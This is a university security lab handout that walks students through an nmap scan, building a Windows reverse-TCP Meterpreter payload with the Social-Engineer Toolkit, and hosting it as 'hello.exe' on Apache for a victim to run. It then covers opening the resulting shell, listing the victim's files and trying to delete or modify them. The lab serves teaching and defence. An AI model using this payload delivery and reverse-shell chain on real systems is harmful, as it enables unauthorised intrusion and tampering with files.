Ecole Supérieure d'Informatique et du Numérique
COLLEGE OF ENGINEERING & ARCHITECTURE

Lab 05: Fundamental Security
Instructor: Prof. Anass Sebbar
Level: Engineering - 3rd Year

Lab 05: Scanning and Exploiting Vulnerabilities Using Metasploit

Objective: The objective of this lab session is to introduce IT security auditing techniques, specifically focusing on scanning and exploiting vulnerabilities in a computer system (OS + Applications).

Topics Covered:

- Use of Metasploit
- Use of Meterpreter

Instructions:

- The lab report must be submitted one week after the lab session on the Moodle platform, respecting the deadline mentioned there.
- The lab must be performed individually in class, but the report should be submitted in groups of up to 2 students.
- Lab groups must remain the same for all reports throughout the semester.

WARNING: This lab demonstrates basic techniques that can potentially be used for illegal activities. These techniques are introduced for educational purposes only, to help you better understand attacks that can be carried out against systems you aim to protect. DO NOT apply these tests on real systems without explicit written authorization.

Exploiting Vulnerabilities with Metasploit

Metasploit Framework: Metasploit is a widely used open-source framework for penetration testing and vulnerability exploitation. It helps security professionals:

- Identify and analyze vulnerabilities in IT systems.
- Execute penetration testing scenarios.
- Develop signatures for Intrusion Detection Systems (IDS).

Meterpreter is an advanced post-exploitation tool within Metasploit that provides an interactive shell, enabling penetration testers to execute commands on a compromised system.

1. Perform a Stealth SYN Scan on Your Subnet

Nmap is a network scanning tool used to detect active hosts and open ports in a network. The -sS option performs a stealth SYN scan, and -Pn assumes all hosts are online, skipping ICMP ping requests.

```
$ nmap -sS -Pn @ip
```

2. Launch the **Social-Engineer Toolkit (SET) : is a tool used for automating social engineering attacks, including phishing and payload generation.**

```
$ setoolkit
```

3. Select the Following Options in SET:

1. Social Engineering Attacks
2. Create a Payload and Listener
3. Windows Reverse TCP Meterpreter

Payload: A payload is the malicious code that executes after a vulnerability is exploited, providing control over the compromised system.

4. Generate the Payload

Follow the instructions to generate the payload.

5. Enter the Kali Machine IP Address and Port (4444)

Specify your attacker's IP and set the port to 4444.

6. Start Apache Web Server

Apache is a widely used web server that can host malicious files to be accessed by a victim.

```
$ service apache2 start
```

7. Host the Payload File on the Web Server

Copy the payload to the Apache web directory so it can be downloaded by the victim.

```
$ cp /root/.set/payload.exe /var/www/html/hello.exe
```

8. Verify the Payload in the Web Directory

Check whether the file exists in the web server directory.

9. Access the Payload from the Victim Machine

On the victim machine, download the payload by entering the following URL in the browser:

```
$ http://<Kali_IP>/hello.exe
```

Observation: Note what happens when the file is executed.

10. Start the TCP Handler to Listen for Incoming Connections

The TCP handler listens for incoming connections from the compromised system.

Return to Kali Linux and start listening for the reverse shell connection.

11. Monitor Metasploit for Incoming Sessions

Ensure that Windows Firewall is disabled **on the victim machine before proceeding.**

```
$ sessions -l # List active sessions
```

```
$ sessions -i 1 # Interact with session 1
```

12. Access the Meterpreter Shell

Once inside the session, open an interactive shell:

```
$ shell
```

13. Check the Victim Machine's Content

Execute the following commands to gather information about the compromised system:

```
$ whoami # Display the current user
```

```
$ dir # List directory contents
```

14. Try to delete/modify files from the victim machine.

Home Assignment:

Conduct another exploit (at least one different from the one performed in the lab session) on a virtual machine, preferably with an OS different from Ubuntu. Document your steps and observations in the report.